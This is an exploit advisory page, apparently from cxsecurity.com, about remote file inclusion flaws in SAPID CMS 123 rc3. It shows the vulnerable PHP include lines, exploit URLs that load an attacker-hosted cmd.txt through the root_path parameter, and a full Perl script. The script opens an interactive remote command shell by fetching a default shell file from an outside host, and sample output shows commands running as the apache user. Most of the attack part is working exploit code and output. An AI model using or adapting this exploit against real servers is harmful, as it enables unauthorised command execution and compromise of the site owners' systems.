SAPID CMS remote File Inclusion vulnerabilities

2006.08.10
Credit: Simo64
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################## # # Title: SAPID CMS remote File Inclusion Vulnerabilities # # Author: Simo64 <simo64_at_morx_org> # # Discovered: 06 Aout 2006 # # MorX Security Research Team # # http://www.morx.org # # Vendor : SAPID CMS # # Version : 123 rc3 # # Website : http://sapid.sourceforge.net # # Severity: Critical # # Details: # # # [+] Remote File Inclusion # # 1) vulnerable code in usr/extensions/get_infochannel.inc.php lines( 8 - 9 ) # # if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded"); # include($root_path."usr/system/common_extfunctions.inc.php"); } # # 2) vulnerable code in usr/extensions/get_tree.inc.php lines( 9 - 10 ) # # if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded"); # include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); } # # $root_path , $GLOBALS["root_path"] variable are not sanitized ,before it can be used to include files # # [-] Exploit : # # http://localhost/usr/extensions/get_infochannel.inc.php?root_path=http:/ /attacker/cmd.txt?cmd=id;pwd # # http://localhost/usr/extensions/get_tree.inc.php?GLOBALS["root_path"]=ht tp://attacker/cmd.txt?cmd=id;pwd # #====================================== # Poc Remote Command Execution Exploit: #====================================== # # http://www.morx.org/sapid.txt # # C:>perl sapid.pl http://127.0.0.1 # # =============================================================== # = SAPID 123_rc3 (rootpath) Remote Command Execution Exploit = # =============================================================== # = MorX Security Research Team - www.morx.org = # = Coded by Simo64 - simo64 (at) www.morx (dot) org [email concealed] = # =============================================================== # simo64 (at) morx (dot) org [email concealed] :~$ id; pwd; ls # uid=48(apache) gid=48(apache) groups=48(apache) # get_calendar.inc.php # get_filter_list.inc.php # get_gb_records.inc.php # get_infochannelfilter.inc.php # get_infochannel.inc.php # get_rss.inc.php # get_searchresults.inc.php # get_survey.inc.php # get_track.inc.php # get_tree.inc.php # soap_call.inc.php # /home/public_html/sapid/usr/extensions # simo64 (at) morx (dot) org [email concealed] :~$ exit # # Enjoy ! # #!/usr/bin/perl use LWP::Simple; print "n===============================================================n"; print "= SAPID 123_rc3 (rootpath) Remote Command Execution Exploit =n"; print "===============================================================n"; print "= MorX Security Research Team - www.morx.org =n"; print "= Coded by Simo64 - simo64@www.morx.org =n"; print "===============================================================nn"; my $targ,$rsh,$path,$con,$cmd,$data,$getit ; $targ = $ARGV[0]; $rsh = $ARGV[1]; if(!$ARGV[1]) {$rsh = "http://zerostag.free.fr/sh.txt";} if(!@ARGV) { &usage;exit(0);} chomp($targ); chomp($rsh); $path = $targ."/usr/extensions/get_infochannel.inc.php"; $con = get($path) || die "[-]Cannot connect to Host"; sub usage(){ print "Usage : perl $0 host/path [OPTION]nn"; print "Exemples : perl $0 http://127.0.0.1n"; print " perl $0 http://127.0.0.1 http://yoursite/yourcmd.txtnn"; } while () { print "simo64@morx.org :~$ "; chomp($cmd=<STDIN>); if ($cmd eq "exit") { print "nEnjoy !nn";exit(0);} $getit = $path."?root_path=".$rsh."?&cmd=".$cmd; $data=get($getit); if($cmd eq ""){ print "Please enter command !n"; } else{ print $data ;} }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top